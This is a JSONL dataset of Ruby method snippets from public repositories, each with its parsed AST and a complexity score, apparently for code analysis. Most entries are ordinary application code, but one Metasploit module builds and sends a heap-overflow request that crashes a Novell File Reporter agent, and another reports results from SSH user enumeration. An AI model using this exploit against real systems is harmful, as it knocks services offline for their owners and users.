kampdag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Danmarks befrielse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[6]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Grundlovsdag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Valdemarsdag og Genforeningsdag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Sankt Hans aften\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[11]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Mortensaften\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[12]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[13]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Sankt Lucia\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"informal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Juleaftensdag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[25]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"1. juledag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mday\"]},{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"2. juledag\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"regions\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dk\"]}]}]}]}]}]}]}]}","id":"d4812f57-6fda-4934-840b-dbdd3ba4f75d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/http/novell_file_reporter_heap_bof.rb","start_line":45,"raw_source":"def run\n    record = '<RECORD>'\n    record << '<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>' # Operation\n    record << \"<VOL>#{Rex::Text.rand_text_alpha(10)}</VOL>\" * 0xc35 # Volumes\n    record << '</RECORD>'\n\n    md5 = Rex::Text.md5('SRS' + record + 'SERVER').upcase\n    message = md5 + record\n\n    print_status('Triggering a heap overflow to cause DoS...')\n\n    begin\n      res = send_request_cgi(\n        {\n          'uri' => '/FSF/CMD',\n          'version' => '1.1',\n          'method' => 'POST',\n          'ctype' => 'text/xml',\n          'data' => message\n        }\n      )\n    rescue ::Errno::ECONNRESET\n      print_good(\"NFR Agent didn't answer, DoS seems successful\")\n      return\n    end\n\n    if res\n      print_error(\"NFR Agent didn't die, it still answers...\")\n      return\n    end\n\n    print_good(\"NFR Agent didn't answer, DoS seems successful\")\n  end","complexity_score":24.05,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"str\",\"children\":[\"<RECORD>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<NAME>SRS</NAME><OPERATION>4</OPERATION><CMD>7</CMD>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<VOL>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\"</VOL>\"]}]},\"*\",{\"type\":\"int\",\"children\":[3125]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</RECORD>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"md5\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"md5\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"SRS\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"record\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"SERVER\"]}]}]},\"upcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"md5\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Triggering a heap overflow to cause DoS...\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/FSF/CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"version\"]},{\"type\":\"str\",\"children\":[\"1.1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/xml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ECONNRESET\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"NFR Agent didn't answer, DoS seems successful\"]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"NFR Agent didn't die, it still answers...\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"NFR Agent didn't answer, DoS seems successful\"]}]}]}]}","id":"56db7462-79d8-4a2b-882b-3574be3e401a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/email_domain_blocks_controller.rb","start_line":22,"raw_source":"def show\n    authorize @email_domain_block, :show?\n    render json: @email_domain_block, serializer: REST::Admin::EmailDomainBlockSerializer\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@email_domain_block\"]},{\"type\":\"sym\",\"children\":[\"show?\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@email_domain_block\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"Admin\"]},\"EmailDomainBlockSerializer\"]}]}]}]}]}]}","id":"745b409b-7186-4ed0-90b6-64be695c7910"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/retry_pipeline_service.rb","start_line":54,"raw_source":"def start_pipeline(pipeline)\n      Ci::PipelineCreation::StartPipelineService.new(pipeline).execute\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start_pipeline\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"PipelineCreation\"]},\"StartPipelineService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},\"execute\"]}]}","id":"e6a16a98-b59f-4a15-a90a-cd6cf476f4cb"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/runner.rb","start_line":422,"raw_source":"def safe_sleep(seconds)\n    (seconds / SAFE_SLEEP_SECONDS).times do\n      sleep SAFE_SLEEP_SECONDS\n      heartbeat\n    end\n    sleep(seconds % SAFE_SLEEP_SECONDS)\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"safe_sleep\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"seconds\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seconds\"]},\"/\",{\"type\":\"const\",\"children\":[null,\"SAFE_SLEEP_SECONDS\"]}]}]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"const\",\"children\":[null,\"SAFE_SLEEP_SECONDS\"]}]},{\"type\":\"send\",\"children\":[null,\"heartbeat\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seconds\"]},\"%\",{\"type\":\"const\",\"children\":[null,\"SAFE_SLEEP_SECONDS\"]}]}]}]}]}","id":"5b5525b2-38bc-4b61-aefb-e52403ca7bb6"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/mailers/application_mailer.rb","start_line":66,"raw_source":"def locale_from_account(account)\n    return unless account\n\n    I18n.available_locales.map(&:to_s).include?(account.locale) ? account.locale : nil\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"locale_from_account\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"account\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"available_locales\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"locale\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account\"]},\"locale\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"3233d4ee-0487-4c56-a593-62e144e5e3e8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/notification_recipients/build_service.rb","start_line":28,"raw_source":"def self.build_project_maintainers_recipients(target, **args)\n      ::NotificationRecipients::Builder::ProjectMaintainers.new(target, **args).notification_recipients\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_project_maintainers_recipients\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"NotificationRecipients\"]},\"Builder\"]},\"ProjectMaintainers\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]},\"notification_recipients\"]}]}","id":"ccc1a782-93db-445f-bc74-960eb044dff2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssh/cerberus_sftp_enumusers.rb","start_line":208,"raw_source":"def show_result(attempt_result, user, ip)\n    case attempt_result\n    when :success\n      print_good \"#{peer(ip)} User '#{user}' found\"\n      do_report(ip, user, rport)\n    when :connection_error\n      print_error \"#{peer(ip)} User '#{user}' could not connect\"\n    when :fail\n      vprint_status \"#{peer(ip)} User '#{user}' not found\"\n    end\n  end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"show_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attempt_result\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attempt_result\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},{\"type\":\"str\",\"children\":[\" User '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' found\"]}]}]},{\"type\":\"send\",\"children\":[null,\"do_report\",{\"type\":\"lvar\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection_error\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},{\"type\":\"str\",\"children\":[\" User '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' could not connect\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"fail\"]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},{\"type\":\"str\",\"children\":[\" User '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' not found\"]}]}]}]},null]}]}","id":"94eb68f6-9bac-4fed-a7f4-e4da663e88e7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/milestoneish.rb","start_line":26,"raw_source":"def percent_complete\n    closed_issues_count * 100 / total_issues_count\n  rescue ZeroDivisionError\n    0\n  end","complexity_score":6.58,"ast_json":"{\"type\":\"def\",\"children\":[\"percent_complete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"closed_issues_count\"]},\"*\",{\"type\":\"int\",\"children\":[100]}]},\"/\",{\"type\":\"send\",\"children\":[null,\"total_issues_count\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ZeroDivisionError\"]}]},null,{\"type\":\"int\",\"children\":[0]}]},null]}]}","id":"ba865bb5-e4d4-4622-8edf-2298315fc1d0"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/config.rb","start_line":39,"raw_source":"def enable_dynamic_scopes(opts = {})\n        @config.instance_variable_set(:@enable_dynamic_scopes, true)\n        @config.instance_variable_set(:@dynamic_scopes_delimiter, opts[:delimiter] || ':')\n      end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_dynamic_scopes\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@enable_dynamic_scopes\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@dynamic_scopes_delimiter\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"delimiter\"]}]},{\"type\":\"str\",\"children\":[\":\"]}]}]}]}]}","id":"6b9fd2cc-6445-4047-a7bc-db3d4192eba3"}
{"repo_name":"flog","file_path":"./repos/flog/lib/flog.rb","start_line":322,"raw_source":"def process_alias(exp)\n    process exp.shift\n    process exp.shift\n    add_to_score :alias\n    s()\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_alias\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"shift\"]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"shift\"]}]},{\"type\":\"send\",\"children\":[null,\"add_to_score\",{\"type\":\"sym\",\"children\":[\"alias\"]}]},{\"type\":\"send\",\"children\":[null,\"s\"]}]}]}","id":"2cd9cd34-5933-49c3-b12c-a4c52698c953"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/validators/chat/allow_chat_in_anonymous_mode_validator.rb","start_line":5,"raw_source":"def initialize(opts = {})\n      @opts = opts\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@opts\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"bbaa0e5d-5e96-43de-8875-877032efc946"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/storage.rb","start_line":470,"raw_source":"def unmanaged_debris_files(vms = nil)\n    unmanaged_files_collection(:debris_files, vms)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unmanaged_debris_files\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"vms\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"unmanaged_files_collection\",{\"type\":\"sym\",\"children\":[\"debris_files\"]},{\"type\":\"lvar\",\"children\":[\"vms\"]}]}]}","id":"f0ba211c-3239-4121-94cb-66db7abf33e9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/base.rb","start_line":526,"raw_source":"def range_for_original(range)\n        ::Parser::Source::Range.new(\n          @current_original.buffer,\n          range.begin_pos + @current_offset,\n          range.end_pos + @current_offset\n        )\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"range_for_original\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Parser\"]},\"Source\"]},\"Range\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_original\"]},\"buffer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"begin_pos\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@current_offset\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"end_pos\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@current_offset\"]}]}]}]}","id":"c3d9fbad-3822-4662-8b95-14299f9e74ef"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/nmap.rb","start_line":158,"raw_source":"def nmap_add_ports\n  if not nmap_validate_rports\n    raise \"Cannot continue without a valid port list.\"\n  end\n  port_arg = \"-p \\\"#{datastore['RPORT'] || rports}\\\"\"\n  if nmap_validate_arg(port_arg)\n    self.nmap_args << port_arg\n  else\n    raise \"Argument is invalid\"\n  end\nend","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"nmap_add_ports\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nmap_validate_rports\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Cannot continue without a valid port list.\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"port_arg\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-p \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]},{\"type\":\"send\",\"children\":[null,\"rports\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nmap_validate_arg\",{\"type\":\"lvar\",\"children\":[\"port_arg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"nmap_args\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"port_arg\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Argument is invalid\"]}]}]}]}]}","id":"8fb85ab5-0044-4386-8b25-9205795c4940"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/evals/lib/prompts/single_test_runner.rb","start_line":34,"raw_source":"def generate_followup(followup, output_thinking, stream, temperature)\n    @c_prompt.push_model_response(@result)\n    followup_message = set_followup_tool(followup)\n    @c_prompt.push(**followup_message)\n    begin\n      generate_result(temperature, output_thinking, stream)\n    rescue => e\n      # should not happen but it helps debugging...\n      puts e\n      result = []\n    end\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_followup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"followup\"]},{\"type\":\"arg\",\"children\":[\"output_thinking\"]},{\"type\":\"arg\",\"children\":[\"stream\"]},{\"type\":\"arg\",\"children\":[\"temperature\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@c_prompt\"]},\"push_model_response\",{\"type\":\"ivar\",\"children\":[\"@result\"]}]},{\"type\":\"lvasgn\",\"children\":[\"followup_message\",{\"type\":\"send\",\"children\":[null,\"set_followup_tool\",{\"type\":\"lvar\",\"children\":[\"followup\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@c_prompt\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"followup_message\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_result\",{\"type\":\"lvar\",\"children\":[\"temperature\"]},{\"type\":\"lvar\",\"children\":[\"output_thinking\"]},{\"type\":\"lvar\",\"children\":[\"stream\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]}]}]},null]}]}]}]}","id":"03a1cdd1-ac0d-4b82-b0fd-3d9924c12aa9"}
